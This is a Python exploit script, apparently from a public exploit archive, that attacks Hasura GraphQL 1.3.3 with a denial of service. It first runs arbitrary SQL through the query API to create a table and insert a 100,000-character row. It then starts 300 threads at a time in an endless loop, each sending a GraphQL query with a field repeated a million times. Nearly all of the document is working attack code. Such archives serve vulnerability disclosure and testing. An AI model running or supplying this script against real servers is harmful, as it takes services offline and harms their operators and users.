50 lines
No EOL
1.6 KiB
Python
Executable file
50 lines
No EOL
1.6 KiB
Python
Executable file
# Exploit Title: Hasura GraphQL 1.3.3 - Denial of Service
|
|
# Software: Hasura GraphQL
|
|
# Software Link: https://github.com/hasura/graphql-engine
|
|
# Version: 1.3.3
|
|
# Author: Dolev Farhi
|
|
# Date: 4/19/2021
|
|
# Tested on: Ubuntu
|
|
|
|
import sys
|
|
import requests
|
|
import threading
|
|
|
|
HASURA_SCHEME = 'http'
|
|
HASURA_HOST = '192.168.1.1'
|
|
HASURA_PORT = 80
|
|
THREADS = 300
|
|
|
|
def create_table():
|
|
data = {"type":"bulk","args":[{"type":"run_sql","args":{"sql":"CREATE TABLE \"public\".\"test_db\"(\"test\" text NOT NULL, PRIMARY KEY (\"test\") );","cascade":False,"read_only":False}},{"type":"add_existing_table_or_view","args":{"name":"test_db","schema":"public"}}]}
|
|
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
|
|
r = requests.post(endpoint, json=data)
|
|
return r
|
|
|
|
def insert_row():
|
|
bomb = 'A' * 100000
|
|
data = {"type":"insert","args":{"table":{"name":"test_db","schema":"public"},"objects":[{"test":bomb}],"returning":[]}}
|
|
endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
|
|
r = requests.post(endpoint, json=data)
|
|
return r
|
|
|
|
def DoS():
|
|
dups = 'test \n ' * 1000000
|
|
data = {'query': 'query { test_db { ' + dups + '} }'}
|
|
endpoint = '{}://{}:{}/v1/graphql'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
|
|
r = requests.post(endpoint, json=data)
|
|
return r
|
|
|
|
if not create_table().ok:
|
|
print('something went wrong, could not create table.')
|
|
sys.exit(1)
|
|
|
|
if not insert_row().ok:
|
|
print('something went wrong, could not insert row')
|
|
sys.exit(1)
|
|
|
|
while True:
|
|
for _ in range(THREADS):
|
|
print('Starting')
|
|
t = threading.Thread(target=DoS, args=())
|
|
t.start() |